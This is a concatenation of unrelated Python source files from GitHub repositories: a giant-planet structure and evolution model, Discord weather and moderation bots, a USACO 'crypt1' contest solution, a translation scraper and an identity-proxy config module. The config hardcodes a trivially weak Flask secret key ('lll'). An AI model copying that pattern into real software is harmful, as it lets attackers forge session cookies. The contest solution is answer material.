integrate gradt on static iteration %i.' % (len(self.t[np.isnan(self.t)]), self.static_iters))\n\n def static(self, z1, y1, mcore, t1,\n m12=None, z2=None, y2=None,\n teq=None,\n rtot_rtol=1e-5,\n max_iterations=30,\n min_iterations=10,\n debug_iterations=False):\n '''\n relaxation scheme iterates to find a hydrostatic model for the specified t10.\n\n z1: envelope metallicity\n y1: envelope helium mass fraction\n mcore: mass of pure-z core (Earth masses)\n t1: 1-bar temperature (K)\n\n m12: optional: mass coordinate (Earth masses) of composition jump from z1, y1 outside to z2, y2 inside\n z2: optional: water mass fraction below m=m12\n y2: optional: helium mass fraction below m=m12\n\n '''\n\n mass = {'jup':const.mjup, 'sat':const.msat}[self.planet]\n self.m = mass * self.mesh\n self.dm = np.diff(self.m)\n self.p[:] = 1e12\n self.t[:] = 1e4\n self.mcore = mcore\n\n self.t1 = t1\n\n # verify that teq is only set if using analytic fit to f11 model atmospheres\n if teq:\n import f11_atm_fit\n assert type(self.atm) is f11_atm_fit.atm\n self.teq = teq\n else:\n import f11_atm\n assert type(self.atm) is f11_atm.atm\n\n if mcore > 0:\n self.kcore = np.where(self.m < self.mcore * const.mearth)[0][-1]\n # print(\"self.kcore \", self.kcore)\n self.m[self.kcore] = self.mcore * const.mearth # move grid point to fall exactly at desired core mass\n else:\n self.kcore = 0\n\n # set mass fractions of helium and heavies.\n # first initialize core as z = 1 and y = 0\n self.y[:self.kcore] = 0.\n self.z[:self.kcore] = 1.\n # now, based on mass of core, set y and z outside of core\n self.y[self.kcore:] = y1\n self.z[self.kcore:] = z1\n self.z1 = z1\n # print(\"self.y \", self.y)\n # print(\"self.z \", self.z)\n\n if m12 or z2 or y2:\n # choosing the transition in mass coordinate has the benefit that the corresponding grid point\n # never changes, as it would for example if we chose a fixed pressure p12.\n if not z2 or not y2 or not m12: raise ValueError('must set all or none of z2, y2, m12.')\n self.m12 = m12\n self.z2 = z2\n self.y2 = y2\n self.k12 = np.where(self.m < self.m12 * const.mearth)[0][-1]\n self.m[self.k12] = self.m12 * const.mearth # move grid point to fall exactly at desired core mass\n self.z[self.kcore:self.k12] = self.z2\n self.y[self.kcore:self.k12] = self.y2\n\n if debug_iterations: # print header with column names for detailed iteration output\n stdout_names = 'it', 'rtot/re', 'drtot/rtot', 't1', 't10', 'et_ms', 'kstab', 'tbase', 'dtrad'\n print('{:>3} {:>10} {:>12} {:>6} {:>6} {:>6} {:>6} {:>6} {:>6}'.format(*stdout_names))\n\n # relax to find static model\n self.relerr_rtot_iterations = np.array([])\n t0 = time.time()\n\n for i in np.arange(max_iterations):\n self.static_iters = i\n self.get_eos_results() # call eos and update densities\n self.integrate_continuity() # calculates r from dm and rho\n self.integrate_hydrostatic() # calculates p from m, dm, and r\n\n # query model atmospheres for intrinsic temperature and effective temperature\n self.gsurf = const.cgrav * self.m[-1] / self.r[-1] ** 2 # in principle different for 1-bar vs. 10-bar surface, but negligible\n # interpolate to get 10-bar temperature, independent variable for the fortney+2011 model atmosphere tables\n self.t10 = interp1d(self.p, self.t, kind='cubic')(1e7) if i > 0 else 1e3 # on initial guess, just pass something that will not fail\n gsurf_atm = self.gsurf * 1e-2 # surface gravity tabulated in m s^-2\n try:\n # if using f11_atm.py\n # self.tint, self.teff = self.atm.get_tint_teff(gsurf_atm, self.t10)\n\n # if using f11_atm_fit.py\n self.tint = self.atm.get_tint(gsurf_atm, self.t10)\n self.teff = (self.tint ** 4 + self.teq ** 4) ** 0.25 if hasattr(self, 'teq') else -1\n except:\n raise\n raise AtmError(f'atmosphere lookup failed for g={gsurf_atm:.2f} m s^-1, t10={self.t10} K.')\n\n self.lint = np.pi * 4 * self.r[-1] ** 2 * const.sigma_sb * self.tint ** 4 # intrinsic luminosity sets the timestep\n\n self.integrate_temperature_dry(t1)\n\n et_ms = self.et_static = (time.time() - t0)*1e3 # timing\n\n try:\n # relerr_pc = (self.p[0] - pc_prev) / pc_prev\n # relerr_tc = (self.t[0] - tc_prev) / tc_prev\n relerr_rtot = (self.r[-1] - rtot_prev) / rtot_prev\n # relerr_y1 = (self.y[-1] - y1_prev) / y1_prev\n # rel_std_entropy = np.std(self.entropy[self.kcore:]) / np.mean(self.entropy[self.kcore:])\n self.relerr_rtot_iterations = np.append(self.relerr_rtot_iterations, relerr_rtot)\n stdout_data = i, self.r[-1] / const.rearth, relerr_rtot, self.t1, self.t10, int(et_ms)\n if debug_iterations:\n if hasattr(self, 'k_stable') and self.k_stable > 0:\n stdout_data = i, self.r[-1] / const.rearth, relerr_rtot, self.t1, self.t10, int(et_ms), self.k_stable, self.t_base, self.dt_rad\n print('{:>3n} {:>10.2e} {:>12.2e} {:>6.1f} {:>6.1f} {:>6n} {:>6n} {:>6.2f} {:>6.2f}'.format(*stdout_data))\n else:\n print('{:>3n} {:>10.2e} {:>12.2e} {:>6.1f} {:>6.1f} {:>6n}'.format(*stdout_data))\n if abs(relerr_rtot) < rtot_rtol and i >= min_iterations: # success\n break\n except NameError: # no previous entropy to speak of\n pass\n # pc_prev = self.p[0]\n # tc_prev = self.t[0]\n rtot_prev = self.r[-1]\n # y1_prev = self.y[-1]\n\n # return # for debugging, this will bail gracefully after first iteration\n\n if debug_iterations == 'dump':\n # dump structure at each iteration for debugging convergence woes\n debug_info = {}\n [debug_info.update({attr:getattr(self, attr)}) for attr in ('p', 't', 'r', 'y', 'z', 'k_wcz_bot')]\n import pickle\n pickle.dump(debug_info, open(f'debug_{i:03n}.pkl', 'wb'))\n\n else:\n raise ConvergenceError('static model reached max iterations {} for t1={}.'.format(max_iterations, t1))\n\n self.rtot = self.r[-1]\n\n def evolve(self, z1, y1, mcore,\n m12=None,z2=None,y2=None,\n teq=None,\n rtot_rtol=1e-5,\n max_iterations=30,\n debug_iterations=False,\n start_t1=460.,\n end_t1=80.,\n nsteps=151,\n verbosity=1,\n moist_atol=1e-6,\n moist_rtol=1e-8):\n '''\n computes a sequence of hydrostatic models and solves the energy equation for the timestep\n between each pair.\n takes the same arguments as self.static, but rather a single t10 value it takes bracketing\n values corresponding to t10 of the desired starting (hot) model and that of the desired\n ending (cold) model.\n '''\n self.age = 0\n t0 = time.time()\n\n mass = {'u':const.mura, 'n':const.mnep}[self.planet]\n self.params = {\n 'mass':mass,\n 'z1':z1,\n 'y1':y1,\n 'mcore':mcore,\n 'm12':m12,\n 'z2':z2,\n 'y2':y2\n }\n\n # history dictionary will hold scalar quantities as a function of time\n self.history = {}\n [self.history.update({qty:np.array([], dtype=int)}) for qty in ('step', 'iters')]\n [self.history.update({qty:np.array([], dtype=np.float64)}) for qty in \\\n ('t1', 't10', 'tint', 'teff', 'etot', 'rtot', 'dt_yr', 'age', 'y1', 'et', 'pc', 'tc', 't2', 't1', 'zsurf')]\n\n # profiles dictionary will hold vector quantities, one profile per timestep\n self.profiles = {}\n\n # write headers for real-time output pertaining to the evolution\n if verbosity > 0:\n header_names = 'step', 'iters', 't1', 't10', 'tint', 'teff', 'etot', 'rtot/re', 'dt_yr', 'age_yr', 'pc', 'tc', 'y_surf', 'z_surf', 'et'\n print('{:>5} {:>6} {:>8} {:>8} {:>8} {:>6} {:>8} {:>8} {:>8} {:>8} {:>8} {:>8} {:>8} {:>8} {:>8}'.format(*header_names))\n\n # these were only used for old timestepping calculation\n # previous_entropy_hhe = np.zeros(self.nz)\n # previous_u_z = np.zeros(self.nz)\n # previous_rho_z = np.zeros(self.nz)\n # self.tds_hhe = np.zeros_like(self.p)\n # self.tds_z = np.zeros_like(self.p)\n\n # models are computed at a preordained sequence of values for the surface temperature.\n t1s = np.linspace(start_t1, end_t1, nsteps)\n\n etot_prev = 0.\n for step, t1 in enumerate(t1s):\n\n et = time.time() - t0\n\n # relax a hydrostatic model for this t10\n if debug_iterations: # print header for debug output in self.static\n print('{:3} {:10} {:10} {:10} {:10} {:10} {:5}'.format('i', 'relerr_pc', 'relerr_tc', 'relerr_r', 'relerr_y1', 'rel_std_s', 'et_ms'))\n self.static(z1, y1, mcore, t1, z2=z2, y2=y2, m12=m12, teq=teq,\n rtot_rtol=rtot_rtol, max_iterations=max_iterations, debug_iterations=debug_iterations,\n moist_atol=moist_atol, moist_rtol=moist_rtol)\n\n if self.lint == 0:\n print('terminate because intrinsic luminosity has vanished: at equilibrium.')\n return\n\n if False: # old timestep calculation\n # calculate change in entropy profile and corresponding timestep.\n # this amounts to a simple Euler scheme for doing the time integration.\n # we could instead set up dt_dt10 as a function and use scipy.integrate.solve_ivp.\n entropy_hhe = self.entropy_hhe\n et = time.time() - t0\n if step == 0: # first step\n dt = 0\n else: # normal step\n # ds = self.entropy - previous_entropy\n\n if True:\n # for the purposes of calculating the timestep, avoid 'wiggles' we get from the tables\n # by assuming that the H+He entropy is constant at the value attained at 1 kbar.\n k_kbar = np.where(self.p < 1e9)[0][0]\n entropy_hhe[self.kcore:k_kbar] = entropy_hhe[k_kbar]\n\n tds_hhe = self.t * (entropy_hhe - previous_entropy_hhe)\n tds_z = self.u_z - previous_u_z + self.p * (self.rho_z ** -1 - previous_rho_z ** -1)\n int_tdsdm = trapz(self.z * tds_z + (1. - self.z) * tds_hhe, dx=self.dm)\n dt = -int_tdsdm / self.lint / const.seconds_per_year\n if dt <= 0:\n # raise EnergyError(f'got non-positive timestep at t10={t10}; probably found a bad entropy profile. lint={self.lint}')\n if True: # experimental: just force a zero timestep\n dt = 0\n else: # do what we usually do\n print(f'got negative timestep at t1={t1}; cannot proceed')\n return\n self.age += dt\n if verbosity > 0:\n stdout_data = step, self.static_iters, t1, self.t10, self.tint, self.teff, self.r[-1]/const.rearth, \\\n dt, self.age, self.p[0], self.t[0], self.y[-1], self.z[-1], et\n print('{:>5n} {:>6n} {:>8.1f} {:>8.1f} {:>8.1f} {:>6.1f} {:>8.1f} {:>8.2e} {:>8.2e} {:>8.1e} {:>8.1e} {:>8.3f} {:>8.2e} {:>8.1f}'.format(*stdout_data))\n\n # store these so they can be accessed in profiles for troubleshooting\n self.tds_hhe[:] = tds_hhe[:]\n self.tds_z[:] = tds_z[:]\n\n else: # new timestep calculation\n if step == 0: # first step\n dt = 0\n # calculate total energy just so it's there, even for initial step\n eth = trapz(self.u, x=self.m) # total thermal energy of the model, erg\n egr = -trapz(const.cgrav * self.m[1:] / self.r[1:], x=self.m[1:]) # gravitational binding energy, erg\n etot = self.etot = eth + egr\n etot_prev = etot\n okay = True\n else: # normal step\n\n # u[:self.kcore] = self.u_z[:self.kcore]\n # u[self.kcore:] = self.z[self.kcore:] * self.u_z[self.kcore:] + (1. - self.z[self.kcore:]) * self.u_hhe # internal energy, erg g^-1\n\n if np.any(np.isnan(self.u)):\n raise ValueError('nans in internal energy')\n\n eth = trapz(self.u, x=self.m) # total thermal energy of the model, erg\n egr = -trapz(const.cgrav * self.m[1:] / self.r[1:], x=self.m[1:]) # gravitational binding energy, erg\n etot = self.etot = eth + egr\n\n # output for debugging timestep / energy equation\n # print(f'eth={eth:g}, egr={egr:g}, etot={etot:g}, etot_prev={etot_prev:g}')\n\n detot = etot - etot_prev\n\n dt = -detot / self.lint / const.seconds_per_year # timestep, yr\n okay = True\n if dt <= 0:\n # raise EnergyError(f'got non-positive timestep at t10={t10}; probably found a bad entropy profile. lint={self.lint}')\n if True: # experimental: just force a zero timestep\n dt = 0\n # 06022021: important: do not update etot_prev in this case, since the run should continue until the next\n # model is found that has a lower total energy than in the last good step!\n okay = False # flag to skip update of etot_prev\n else: # do what we usually do\n print(f'got negative timestep at t1={t1}; cannot proceed')\n return\n self.age += dt\n if okay:\n etot_prev = etot\n\n if verbosity > 0:\n stdout_data = step, self.static_iters, t1, self.t10, self.tint, self.teff, self.etot * 1e-40, self.r[-1]/const.rearth, \\\n dt, self.age, self.p[0], self.t[0], self.y[-1], self.z[-1], et\n print('{:>5n} {:>6n} {:>8.1f} {:>8.1f} {:>8.1f} {:>6.1f} {:>8.3f} {:>8.2f} {:>8.2e} {:>8.2e} {:>8.1e} {:>8.2e} {:>8.3f} {:>8.2e} {:>8.1f}'.format(*stdout_data))\n\n # these were used for old timestepping calculation\n # previous_entropy_hhe[:] = entropy_hhe\n # previous_u_z[:] = self.u_z\n # previous_rho_z[:] = self.rho_z\n\n if True:\n # update history with current values of everything\n self.history['step'] = np.append(self.history['step'], step)\n self.history['iters'] = np.append(self.history['iters'], self.static_iters)\n self.history['t1'] = np.append(self.history['t1'], t1)\n self.history['t10'] = np.append(self.history['t10'], self.t10)\n self.history['tint'] = np.append(self.history['tint'], self.tint)\n self.history['teff'] = np.append(self.history['teff'], self.teff)\n self.history['rtot'] = np.append(self.history['rtot'], self.r[-1])\n self.history['dt_yr'] = np.append(self.history['dt_yr'], dt)\n self.history['age'] = np.append(self.history['age'], self.age)\n self.history['y1'] = np.append(self.history['y1'], self.y[-1])\n self.history['et'] = np.append(self.history['et'], et)\n self.history['pc'] = np.append(self.history['pc'], self.p[0])\n self.history['tc'] = np.append(self.history['tc'], self.t[0])\n self.history['etot'] = np.append(self.history['etot'], self.etot)\n self.history['zsurf'] = np.append(self.history['zsurf'], self.z[-1])\n # if hasattr(self, 't1'):\n # self.history['t1'] = np.append(self.history['t1'], self.t1)\n\n # save current profiles\n self.profiles[step] = {}\n for qty in 'p', 't', 'm', 'r', \\\n 'rho', 'rho_hhe', 'rho_z', 'entropy_hhe', 'u_z', \\\n 'y', 'z', 'grada', \\\n 'xvap', 'xh2', 'xhe', 'alpha', 'kappa', 'grad_rad', 'grav', \\\n 'u', 'k_stable':\n # 'tds_hhe', 'tds_z':\n self.profiles[step].update({qty:np.copy(getattr(self, qty))})\n\nif __name__ == '__main__':\n\n print('test static jupiter model')\n\n z1 = 0.06 # outer envelope metallicity\n z2 = 0.08 # inner envelope metallicity\n mcore = 10. # mass (mearth) of pure-Z core\n m12 = 270. # mass coordinate (mearth) of inner/outer envelope transition\n\n y_xy = 0.27\n y1 = y_xy * (1-z1)\n y2 = y_xy * (1-z2)\n\n t1 = 166. # 1-bar temperature, K\n\n e = planet('jup')\n e.static(z1, y1, mcore, t1, z2=z2, y2=y2, m12=m12, teq=102.5, debug_iterations=True, rtot_rtol=1e-5) # set debug_iterations=False to remove verbose output during iterations\n\n # detailed model info is now available in attributes of e, e.g.,\n # e.p gives the array of pressures, e.t the temperature, e.z and e.y the mass fractions of Z and He, etc.\n # many scalars are defined as well.\n print(f'surface gravity = {e.gsurf:.2f}')\n print(f'teff = {e.teff:.2f}')\n print(f'tint = {e.tint:.2f}')\n print(f'rtot = {e.rtot:.5e}')\n print(f'pc = {e.p[0]:.5e}')\n print(f'tc = {e.t[0]:.5e}')","repo_name":"chkvch/ongp","sub_path":"v2/ongp.py","file_name":"ongp.py","file_ext":"py","file_size_in_byte":28125,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"43109774371","text":"import asyncio\nimport logging\nimport os\nfrom datetime import datetime\nfrom functools import partial\n\nimport requests\nfrom discord.ext import commands\n\nfrom bot_token import TOKEN\n\nURL = \"http://api.openweathermap.org\"\nAPI_KEY = os.getenv(\"API_KEY\") # open weather api\n\nlogger = logging.getLogger(\"discord\")\nlogger.setLevel(logging.INFO)\nhandler = logging.StreamHandler()\nhandler.setFormatter(logging.Formatter(\n \"%(asctime)s:%(levelname)s:%(name)s: %(message)s\"\n))\nlogger.addHandler(handler)\n\n\nclass PlaceNotFound(Exception):\n ...\n\n\nclass ErrorNoWeather(Exception):\n ...\n\n\nasync def get_geocode_coord(city_name):\n url = f\"{URL}/geo/1.0/direct\"\n params = {\"q\": city_name, \"appid\": API_KEY}\n loop = asyncio.get_event_loop()\n resp = await loop.run_in_executor(None,\n partial(requests.get, url, params=params))\n resp.raise_for_status()\n resp_json = resp.json()\n if not resp_json:\n raise PlaceNotFound\n coord = resp_json[0][\"lat\"], resp_json[0][\"lon\"]\n return coord\n\n\ndef get_weather_data_for_user(place, raw_weather_data):\n compass_sector = ['n', 'nne', 'ne', 'ene', 'e', 'ese', 'se', 'sse', 's', 'ssw', 'sw', 'wsw', 'w',\n 'wnw', 'nw', 'nnw', 'n']\n wind_direction = compass_sector[int(raw_weather_data[\"wind_deg\"] / 22.5)]\n dt = datetime.fromtimestamp(raw_weather_data[\"dt\"])\n temperature = raw_weather_data[\"temp\"]\n try:\n temperature = temperature[\"day\"]\n except TypeError:\n pass\n res = [\n (None, f\"weather forecast in {place} for {dt.date().isoformat()}:\"),\n (\"temperature\", f'{temperature} ℃'),\n (\"pressure\", f'{raw_weather_data[\"pressure\"]} mm'),\n (\"humidity\", f'{raw_weather_data[\"humidity\"]}%'),\n (\"description\", raw_weather_data[\"weather\"][0][\"description\"]),\n (\"wind\", f'{wind_direction}, {raw_weather_data[\"wind_speed\"]} m/s')\n ]\n return res\n\n\ndef get_user_weather_formatted(place, raw_weather_data):\n user_weather_data = get_weather_data_for_user(place, raw_weather_data)\n msg = \"\"\n for k, v in user_weather_data:\n if k is None:\n row = v\n else:\n row = f\"{k}: {v}\"\n msg += row[0].title() + row[1:]\n msg += \"\\n\"\n return msg\n\n\nasync def get_weather(weather_type, lat, lon):\n url = f\"{URL}/data/2.5/onecall\"\n exclude_weathers = [\"current\", \"minutely\", \"hourly\", \"daily\", \"alerts\"]\n exclude_weathers.remove(weather_type)\n params = {\n \"lat\": lat, \"lon\": lon, \"appid\": API_KEY,\n \"exclude\": \",\".join(exclude_weathers),\n \"units\": \"metric\",\n }\n loop = asyncio.get_event_loop()\n resp = await loop.run_in_executor(None,\n partial(requests.get, url, params=params))\n resp.raise_for_status()\n resp_json = resp.json()\n if not resp_json:\n raise ErrorNoWeather\n return resp_json[weather_type]\n\n\nclass WeatherCog(commands.Cog):\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n self.place = \"Moscow\"\n self.coord = asyncio.run(get_geocode_coord(self.place))\n\n @commands.command(name=\"help_bot\")\n async def show_help(self, ctx):\n \"\"\"show this message\"\"\"\n commands_descriptions = [(i.name, i.callback.__doc__) for i in self.get_commands()]\n commands_descriptions = [(f\"{self.bot.command_prefix}{name}\", doc if doc is not None else \"\")\n for name, doc in commands_descriptions]\n commands_descriptions = [f\"{name} - {doc}\" for name, doc in commands_descriptions]\n help_message = \"Commands:\\n\" + \"\\n\".join(commands_descriptions)\n await ctx.send(help_message)\n\n @commands.command(name=\"place\")\n async def change_place(self, ctx, place):\n \"\"\"change forecast place (default is Moscow)\"\"\"\n try:\n coord = await get_geocode_coord(place)\n except PlaceNotFound:\n await ctx.send(f\"Place {place} not found\")\n return\n except requests.exceptions.HTTPError:\n await ctx.send(f\"Weather server error\")\n return\n self.place = place\n self.coord = coord\n await ctx.send(f\"Place changed to {place}\")\n\n @commands.command(name=\"current\")\n async def show_current_weather(self, ctx):\n \"\"\"show current weather in specified place\"\"\"\n raw_weather_data = await get_weather(\"current\", *self.coord)\n msg = get_user_weather_formatted(self.place, raw_weather_data)\n await ctx.send(msg)\n\n @commands.command(name=\"forecast\")\n async def show_daily_weather(self, ctx, cnt):\n \"\"\"with number parameter show weather for n days in specified place\"\"\"\n raw_weather_data = await get_weather(\"daily\", *self.coord)\n try:\n cnt = int(cnt)\n except ValueError:\n await ctx.send(f\"You must specify NUMBER of days for forecast\")\n return\n forecast_len = len(raw_weather_data)\n if cnt > len(raw_weather_data):\n await ctx.send(f\"Can only show {forecast_len} forecasts.\")\n raw_weather_data = raw_weather_data[:cnt]\n msg = \"\\n\".join(get_user_weather_formatted(self.place, i) for i in raw_weather_data)\n await ctx.send(msg)\n\n\ndef main():\n bot = commands.Bot(command_prefix='#!')\n cog = WeatherCog(bot)\n bot.add_cog(cog)\n bot.run(TOKEN)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"pepper50301/yandex_lyceum","sub_path":"Основы промышленного программирования/43. Чат-боты 3 (Discord)/bot_weatherman.py","file_name":"bot_weatherman.py","file_ext":"py","file_size_in_byte":5425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"31042275597","text":"\"\"\"\nID: totheso1\nLANG: PYTHON3\nTASK: crypt1\n\"\"\"\nfrom typing import Tuple, Iterator, Iterable\nfrom itertools import product\nfrom functools import reduce\n\nfin = open(\"crypt1.in\", \"r\")\nfout = open(\"crypt1.out\", \"w\")\n\n\ndef fprint(*args, **kwargs) -> None:\n print(*args, file=fout, **kwargs)\n\n\n# Code start\ndef digits_to_int(digits: Tuple[int, ...]) -> int:\n return reduce(lambda high, low: high * 10 + low, digits)\n\n\ndef digits_Cartesian_product(digit_set: Iterable[int], length: int) -> Tuple[int, ...]:\n return tuple(map(digits_to_int, product(digit_set, repeat=length)))\n\n\ndef digitize(number: int) -> Iterator[int]:\n while True:\n yield number % 10\n number //= 10\n if number == 0:\n return\n\n\nN = int(fin.readline())\ndigit_set = set(map(int, fin.readline().split()))\n\nmultiplicand_collection = digits_Cartesian_product(digit_set, 3)\nmultiplier_collection = digits_Cartesian_product(digit_set, 2)\n\nsolution_count = 0\n\n\ndef valid(x: int) -> bool:\n return all(digit in digit_set for digit in digitize(x))\n\n\nfor multiplicand in multiplicand_collection:\n for multiplier in multiplier_collection:\n partial_product_1 = multiplicand * (multiplier % 10)\n if partial_product_1 < 1000 and valid(partial_product_1):\n partial_product_2 = multiplicand * (multiplier // 10)\n if partial_product_2 < 1000 and valid(partial_product_2):\n whole_product = multiplicand * multiplier\n if whole_product < 10000 and valid(whole_product):\n solution_count += 1\nfprint(solution_count)\n# Code end\n","repo_name":"escape0707/usaco_trainings","sub_path":"crypt1.py","file_name":"crypt1.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"43364533450","text":"import os\nimport pathlib\n\nfrom dataclasses import dataclass\nfrom ..security.secure_data import GoogleSecretManager\n\n\nDEBUG_MODE = True\n\n\n@dataclass(frozen=True, repr=False)\nclass Constants:\n\n DEBUG_MODE: bool = DEBUG_MODE \n\n IP_ROOT_FOLDER: pathlib.Path = pathlib.Path(__file__).parent.parent.parent.absolute()\n IP_CONFIG_FOLDER: pathlib.Path = pathlib.Path(__file__).parent.parent.absolute() / \"config_files\"\n\n DOMAIN: str = \"127.0.0.1\" if DEBUG_MODE else \"tomtomload.com\"\n\n CALLBACK_URL: str = \"https://127.0.0.1:8080/callback\" if DEBUG_MODE else \"https://tomtomload.com/callback\"\n API_ROUTE_URL: str = \"https://127.0.0.1:5000/api/v1\" if DEBUG_MODE else \"https://tomtomload.com/api/v1\"\n ADMIN_URL: str = \"https://127.0.0.1:5000/admin\" if DEBUG_MODE else \"https://www.tomtomload.com/admin\"\n IDENTITY_PROXY_URL: str = \"https://127.0.0.1:8080\" if DEBUG_MODE else \"https://tomtomload.com\"\n\n # ----------------- APP NAME ----------------- #\n APP_NAME = 'identity-proxy'\n\n # ----------------- GOOGLE CLOUD ----------------- #\n GOOGLE_PROJECT_ID: str = \"infosec-62c05\"\n GOOGLE_LOCATION_ID: str = \"global\"\n GOOGLE_KEY_RING_ID: str = \"identity-proxy\"\n\n # ----------------- GOOGLE CLOUD STORAGE ----------------- #\n STORAGE_BUCKET_NAME: str = \"ttl1234567890\"\n BLACKLISTED_FILE_NAME: str = \"blacklisted.json\"\n ACL_FILE_NAME: str = \"acl.json\"\n\n # ----------------- JWT ACCESS TOKEN ----------------- #\n JWT_ACCESS_TOKEN_EXPIRATION_TIME: int = 60 if DEBUG_MODE else 10\n JWT_ACCESS_TOKEN_SKEW_TIME: int = 30\n JWT_ALGORITHM: str = \"HS256\"\n JWT_ACCESS_TOKEN_SECRET_KEY: str = \"identity-proxy-jwt-key\"\n\n # ----------------- GOOGLE OAUTH ----------------- #\n GOOGLE_CLIENT_ID: str = \"526204912239-9t2aptlchfeclmkcsegpp69cb690jre3.apps.googleusercontent.com\"\n GOOGLE_OAUTH_SKEW_TIME: int = 2\n\n # ----------------- GOOGLE OAUTH API ----------------- #\n GOOGLE_CLIENT_ID2: str = \"526204912239-ug33fg2dkq2jm55p0igbp7qc8v93gio4.apps.googleusercontent.com\"\n\n # ----------------- IP INFO ----------------- #\n IPINFO: str = \"ipinfo\"\n\n # ----------------- RATE LIMITING ----------------- #\n DEFAULT_REQUEST_LIMIT: str = \"60 per minute\"\n SENSITIVE_PAGE_LIMIT: str = \"9 per minute\"\n\n\nCONSTANTS = Constants()\n\n\nclass SecretConstants:\n \n def __init__(self):\n service_account = os.path.join(Constants.IP_CONFIG_FOLDER, \"service_account.json\")\n os.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = service_account\n\n self.__FLASK_SECRET_KEY = \"lll\"\n\n self.__JWT_SECRET_KEY = GoogleSecretManager.get_secret_payload(\n self,\n project_id=Constants.GOOGLE_PROJECT_ID,\n secret_id=Constants.JWT_ACCESS_TOKEN_SECRET_KEY,\n version_id=\"1\"\n )\n\n self.__IPINFO_TOKEN = GoogleSecretManager.get_secret_payload(\n self,\n project_id=Constants.GOOGLE_PROJECT_ID,\n secret_id=Constants.IPINFO,\n version_id=\"1\"\n )\n\n @property\n def FLASK_SECRET_KEY(self) -> str:\n return self.__FLASK_SECRET_KEY\n\n @property\n def JWT_SECRET_KEY(self) -> str:\n return self.__JWT_SECRET_KEY\n\n @property\n def IPINFO_TOKEN(self) -> str:\n return self.__IPINFO_TOKEN\n\n\nSECRET_CONSTANTS = SecretConstants()\n\n\n__all__ = [\n \"CONSTANTS\",\n \"SECRET_CONSTANTS\"\n]\n","repo_name":"Sz3yan/InfoSecurity-TomTomLoad","sub_path":"identity-proxy/static/classes/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"31447419192","text":"'''\nurlopen的data参数\n我们可以使用data参数，向服务器发送数据。根据HTTP��范，GET用于信息获取，POST是向服务器提交数据的一种请求，再换句话说：\n\n 从客户端向服务器提交数据使用POST；\n\n 从服务器获得数据到客户端使用GET(GET也可以提交，暂不考虑)。\n\n 如果没有设置urlopen()函数的data参数，HTTP请求采用GET方式，也就是我们从服务器获取信息，如果我们设置data参数，HTTP请求采用POST方式，也就是我们向服务器传递数据。\n\n data参数有自己的格式，它是一个基于application/x-www.form-urlencoded的格式，具体格式我们不用了解， 因为我们可以使用urllib.parse.urlencode()函数将字符串自动转换成上面所说的格式。\n'''\n\nfrom urllib import request\nfrom urllib import parse\nimport json\n\nRequest_URL = \"http://fanyi.youdao.com/translate?smartresult=dict&smartresult=rule\"\nForm_Data ={'i': 'Bob',\n 'from': 'AUTO',\n 'to': 'AUTO',\n 'smartresult': 'dict',\n 'client': 'fanyideskweb',\n 'salt': '1534219535558',\n 'sign': '9 bff0552c1a3f299636b11cf47f47b6b',\n 'doctype': 'json',\n 'version': '2.1',\n 'keyfrom': 'fanyi.web',\n 'action': 'FY_BY_CLICKBUTTION',\n 'typoResult': 'false'}\n\ndata = parse.urlencode(Form_Data).encode('utf-8')\n\nresponse = request.urlopen(Request_URL, data)\n\nresponse = request.urlopen(Request_URL, data)\n\nhtml = response.read().decode('utf-8')\n\ntranslate_results = json.loads(html)\n\ntranslate_results = translate_results['translateResult'][0][0]['tgt']\n\nprint ('翻译结果是:',translate_results)","repo_name":"MapleWish/MyPrograms","sub_path":"Python/Spider/translate_test.py","file_name":"translate_test.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"73078191183","text":"from os import system as sys\r\nimport nextcord\r\nfrom nextcord.ext import commands, menus\r\nimport Config as BotC\r\n\r\n#Importing Configs for the bot\r\nTOKEN = BotC.MainBot[\"Token\"]\r\nservers = BotC.ServerBot[\"Servers\"]\r\nServRules = BotC.ServerBot[\"Rules\"]\r\nAdminRoles = BotC.ServerBot[\"Admins\"]\r\nHomeInvite = BotC.PublicBot[\"Support_Server_Link\"]\r\nRankRoles = BotC.Ranks\r\nbot = commands.Bot(command_prefix=\"###\", intents=nextcord.Intents.all(), help_command=None)\r\n\r\n@bot.event\r\nasync def on_ready():\r\n #sys(\"cls\")\r\n print(\"Bouncer Bot - Online\")\r\n\r\n@bot.event\r\nasync def on_member_join(member):\r\n role = [x for x in await member.guild.fetch_roles() if x.id == RankRoles[\"Starter\"]]\r\n role = role[0] if role else print(\"Role not Found.\")\r\n await member.add_roles(role, reason=\"New member joined - Autorole.\")\r\n\r\ndef rolecheck(interaction, roleid):\r\n roleowned = False\r\n if roleid in [x.id for x in interaction.user.roles]:\r\n roleowned = True\r\n return roleowned\r\n\r\ndef rolecheckother(user, roleid):\r\n roleowned = False\r\n if roleid in [x.id for x in user.roles]:\r\n roleowned = True\r\n return roleowned\r\n\r\n#Important Commands\r\n@bot.slash_command(guild_ids=servers, description=\"Remind yourself of the server rules!\")\r\nasync def remindme(interaction: nextcord.Interaction):\r\n embed = nextcord.Embed(title=f\"///--- Server Rules ---///\", description=f\"\")\r\n for i in range(len(ServRules)):\r\n embed.add_field(name=f\"{i+1}. {ServRules[i]}\", value=\"\", inline=False)\r\n await interaction.send(embed=embed, ephemeral=True)\r\n\r\n@bot.slash_command(guild_ids=servers, description=\"Get an invite to the support server!\")\r\nasync def supportlink(interaction: nextcord.Interaction):\r\n embed = nextcord.Embed(title=\"///--- Support Server ---///\", description=\"Use the link below to join this bot's support server!\")\r\n embed.add_field(name=\"Invite Link:\", value=f\"{HomeInvite}\")\r\n await interaction.send(embed=embed, ephemeral=True)\r\n\r\n#Rank Command\r\nclass RankUserCMD(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n @commands.Cog.listener()\r\n async def on_ready(self):\r\n print(\"Command Rank - Online\")\r\n @nextcord.slash_command(guild_ids=servers, 